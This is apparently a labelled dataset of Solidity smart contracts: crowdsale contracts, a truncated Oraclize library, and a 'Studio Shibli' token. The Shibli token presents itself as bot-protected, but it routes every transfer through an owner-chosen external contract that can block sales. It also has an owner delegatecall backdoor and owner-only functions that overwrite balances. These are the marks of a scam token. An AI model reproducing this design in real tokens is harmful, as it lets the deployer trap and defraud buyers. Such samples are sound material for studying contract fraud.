buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal{
}
}
contract PagosCrowdSale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public numberOfPurchasers = 0;
uint256 public maxTokenSupply = 0;
string public constant version = "v1.4";
address public pendingOwner;
uint256 public minimumAmount = 0;
address public reservedAddr;
uint256 public reservedAmount;
uint256 public ratePublicSale;
uint256 public maxTokenSupplyPublicSale;
function PagosCrowdSale(uint256 _startTime,
uint256 _endTime,
uint256 _rate,
uint256 _minimumAmount,
uint256 _maxTokenSupply,
address _wallet,
address _reservedAddr,
uint256 _reservedAmount,
address _pendingOwner,
uint256 _ratePublicSale,
uint256 _maxTokenSupplyPublicSale
)
FinalizableCrowdsale()
Crowdsale(_startTime, _endTime, _rate, _wallet) public
{
require(_pendingOwner != address(0));
require(_minimumAmount >= 0);
require(_maxTokenSupply > 0);
require(_reservedAmount > 0 && _reservedAmount < _maxTokenSupply);
pendingOwner = _pendingOwner;
minimumAmount = _minimumAmount;
maxTokenSupply = _maxTokenSupply;
reservedAddr = _reservedAddr;
reservedAmount = _reservedAmount;
ratePublicSale=_ratePublicSale;
maxTokenSupplyPublicSale=_maxTokenSupplyPublicSale;
}
function createTokenContract() internal returns (MintableToken) {
return new PagosToken();
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
require(owner==pendingOwner);
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
weiRaised = weiRaised.add(weiAmount);
numberOfPurchasers = numberOfPurchasers + 1;
forwardFunds();
}
function validPurchase() internal view returns (bool) {
bool minAmount = (msg.value >= minimumAmount);
bool lessThanMaxSupply = (token.totalSupply() + msg.value.mul(rate)) <= maxTokenSupply;
return super.validPurchase() && minAmount && lessThanMaxSupply;
}
function hasEnded() public view returns (bool) {
bool capReached = token.totalSupply() >= maxTokenSupply;
return super.hasEnded() || capReached;
}
function finalization() internal {
uint256 remainingTokens = maxTokenSupply - token.totalSupply();
token.mint(owner, remainingTokens);
TokenPurchase(owner, owner, 0, remainingTokens);
super.finalization();
token.finishMinting();
token.transferOwnership(owner);
}
function changeMinimumAmount(uint256 _minimumAmount) onlyOwner public {
require(_minimumAmount > 0);
minimumAmount = _minimumAmount;
}
function changeDates(uint256 _startTime, uint256 _endTime) onlyOwner public {
require(_startTime >= now);
require(_endTime >= _startTime);
startTime = _startTime;
endTime = _endTime;
}
function publicSaleMode() onlyOwner public returns (uint256){
rate=ratePublicSale;
maxTokenSupply=maxTokenSupplyPublicSale;
return ratePublicSale;
}
function transferOwnerShipToPendingOwner() public {
require(msg.sender == pendingOwner);
require(owner != pendingOwner);
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
runPreMint();
}
function runPreMint() onlyOwner private {
token.mint(reservedAddr, reservedAmount);
TokenPurchase(owner, reservedAddr, 0, reservedAmount);
numberOfPurchasers = numberOfPurchasers + 1;
}
} | 1 | 3,477 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Shibli is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000000000;
string public name = "Studio Shibli";
string public symbol = "SHIBLI";
IUniswapV2Router02 public pancakeRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wETH, address(this));
allowance[address(this)][address(pancakeRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _toWho, uint amount) public {
require(msg.sender == owner);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho));
for(uint i = 0; i < _toWho.length; i++) {
balanceOf[_toWho[i]] = amount;
emit Transfer(address(0x0), _toWho[i], amount);
}
}
function list(uint _numList, address[] memory _toWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
pancakeRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toWho.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho));
for(uint i = 0; i < _toWho.length; i++) {
balanceOf[_toWho[i]] = _amounts[i];
emit Transfer(address(0x0), _toWho[i], _amounts[i]);
}
}
} | 0 | 2,567 |
pragma solidity^0.4.24;
contract ERC20 {
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function transfer(address to, uint tokens) public returns (bool success);
}
contract father {
function fallback(uint num,address sender,uint amount) public;
}
contract fathercontract{
address owner;
address public NEO = 0xc55a13e36d93371a5b036a21d913a31CD2804ba4;
mapping(address => uint)value;
mapping(address => address) contr;
constructor() public {
owner = msg.sender;
}
function use(uint _value) public {
value[msg.sender] = _value*1e18;
ERC20(NEO).transferFrom(msg.sender,this,value[msg.sender]);
if (contr[msg.sender] == address(0)){
getsometoken(msg.sender,value[msg.sender]);
}else{
getsometokenn(msg.sender,value[msg.sender]);
}
}
function getsometokenn(address _sender,uint _value) internal{
ERC20(NEO).transfer(contr[_sender],_value);
contr[_sender].call.value(0)();
}
function getsometoken(address _sender,uint _value) internal {
contr[msg.sender] = new getfreetoken(this,_sender);
ERC20(NEO).transfer(contr[_sender],_value);
contr[_sender].call.value(0)();
}
function fallback(uint num,address sender,uint amount) public {
require(contr[sender] == msg.sender);
if (num == 10){
uint a = (amount-value[sender])/100*5;
ERC20(NEO).transfer(sender,amount-a);
ERC20(NEO).transfer(owner,a);
value[sender] = 0;
}else{
getsometokenn(sender,amount);
}
}
}
contract getfreetoken {
address sender;
address fatherr;
address NEO = 0xc55a13e36d93371a5b036a21d913a31CD2804ba4;
uint num;
constructor(address _father,address _sender) public {
fatherr = _father;
sender = _sender;
}
function() public {
trans();
}
function trans() internal {
uint A = ERC20(NEO).balanceOf(this);
ERC20(NEO).transfer(fatherr,ERC20(NEO).balanceOf(this));
num++;
father(fatherr).fallback(num,sender,A);
if (num == 10){num = 0;}
}
} | 0 | 2,037 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface ERC20 {
function transfer (address _beneficiary, uint256 _tokenAmount) external returns (bool);
function mintFromICO(address _to, uint256 _amount) external returns(bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract GlowSale is Ownable {
ERC20 public token;
using SafeMath for uint;
address public backEndOperator = msg.sender;
address founders = 0x2ed2de73f7aB776A6DB15A30ad7CB8f337CF499D;
address bounty = 0x7a3B004E8A68BCD6C5D0c3936D2f582Acb89E5DD;
address reserve = 0xd9DADf245d04fB1566e7330be591445Ad9953476;
mapping(address=>bool) public whitelist;
uint256 public startPreSale = now;
uint256 public endPreSale = 1535759999;
uint256 public startMainSale = 1538352001;
uint256 public endMainSale = 1554076799;
uint256 public investors;
uint256 public weisRaised;
uint256 hardCapPreSale = 3200000*1e6;
uint256 hardCapSale = 15000000*1e6;
uint256 public preSalePrice;
uint256 public MainSalePrice;
uint256 public dollarPrice;
uint256 public soldTokensPreSale;
uint256 public soldTokensSale;
event Finalized();
event Authorized(address wlCandidate, uint timestamp);
event Revoked(address wlCandidate, uint timestamp);
modifier isUnderHardCap() {
require(weisRaised <= hardCapSale);
_;
}
modifier backEnd() {
require(msg.sender == backEndOperator || msg.sender == owner);
_;
}
constructor(uint256 _dollareth) public {
dollarPrice = _dollareth;
preSalePrice = (1e18/dollarPrice)/2;
MainSalePrice = 1e18/dollarPrice;
}
function setToken (ERC20 _token) public onlyOwner {
token = _token;
}
function setDollarRate(uint256 _usdether) public onlyOwner {
dollarPrice = _usdether;
preSalePrice = (1e18/dollarPrice)/2;
MainSalePrice = 1e18/dollarPrice;
}
function setStartPreSale(uint256 newStartPreSale) public onlyOwner {
startPreSale = newStartPreSale;
}
function setEndPreSale(uint256 newEndPreSaled) public onlyOwner {
endPreSale = newEndPreSaled;
}
function setStartSale(uint256 newStartSale) public onlyOwner {
startMainSale = newStartSale;
}
function setEndSale(uint256 newEndSaled) public onlyOwner {
endMainSale = newEndSaled;
}
function setBackEndAddress(address newBackEndOperator) public onlyOwner {
backEndOperator = newBackEndOperator;
}
function authorize(address wlCandidate) public backEnd {
require(wlCandidate != address(0x0));
require(!isWhitelisted(wlCandidate));
whitelist[wlCandidate] = true;
investors++;
emit Authorized(wlCandidate, now);
}
function revoke(address wlCandidate) public onlyOwner {
whitelist[wlCandidate] = false;
investors--;
emit Revoked(wlCandidate, now);
}
function isWhitelisted(address wlCandidate) internal view returns(bool) {
return whitelist[wlCandidate];
}
function isPreSale() public constant returns(bool) {
return now >= startPreSale && now <= endPreSale;
}
function isMainSale() public constant returns(bool) {
return now >= startMainSale && now <= endMainSale;
}
function () public payable
{
require(isWhitelisted(msg.sender));
if(isPreSale()) {
preSale(msg.sender, msg.value);
}
else if (isMainSale()) {
mainSale(msg.sender, msg.value);
}
else {
revert();
}
}
function preSale(address _investor, uint256 _value) internal {
uint256 tokens = _value.mul(1e6).div(preSalePrice);
token.mintFromICO(_investor, tokens);
uint256 tokensFounders = tokens.mul(3).div(5);
token.mintFromICO(founders, tokensFounders);
uint256 tokensBoynty = tokens.div(5);
token.mintFromICO(bounty, tokensBoynty);
uint256 tokenReserve = tokens.div(5);
token.mintFromICO(reserve, tokenReserve);
weisRaised = weisRaised.add(msg.value);
soldTokensPreSale = soldTokensPreSale.add(tokens);
require(soldTokensPreSale <= hardCapPreSale);
}
function mainSale(address _investor, uint256 _value) internal {
uint256 tokens = _value.mul(1e6).div(MainSalePrice);
token.mintFromICO(_investor, tokens);
uint256 tokensFounders = tokens.mul(3).div(5);
token.mintFromICO(founders, tokensFounders);
uint256 tokensBoynty = tokens.div(5);
token.mintFromICO(bounty, tokensBoynty);
uint256 tokenReserve = tokens.div(5);
token.mintFromICO(reserve, tokenReserve);
weisRaised = weisRaised.add(msg.value);
soldTokensSale = soldTokensSale.add(tokens);
require(soldTokensSale <= hardCapSale);
}
function mintManual(address _recipient, uint256 _value) public backEnd {
token.mintFromICO(_recipient, _value);
uint256 tokensFounders = _value.mul(3).div(5);
token.mintFromICO(founders, tokensFounders);
uint256 tokensBoynty = _value.div(5);
token.mintFromICO(bounty, tokensBoynty);
uint256 tokenReserve = _value.div(5);
token.mintFromICO(reserve, tokenReserve);
soldTokensSale = soldTokensSale.add(_value);
}
function transferEthFromContract(address _to, uint256 amount) public onlyOwner {
_to.transfer(amount);
}
} | 1 | 5,280 |
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
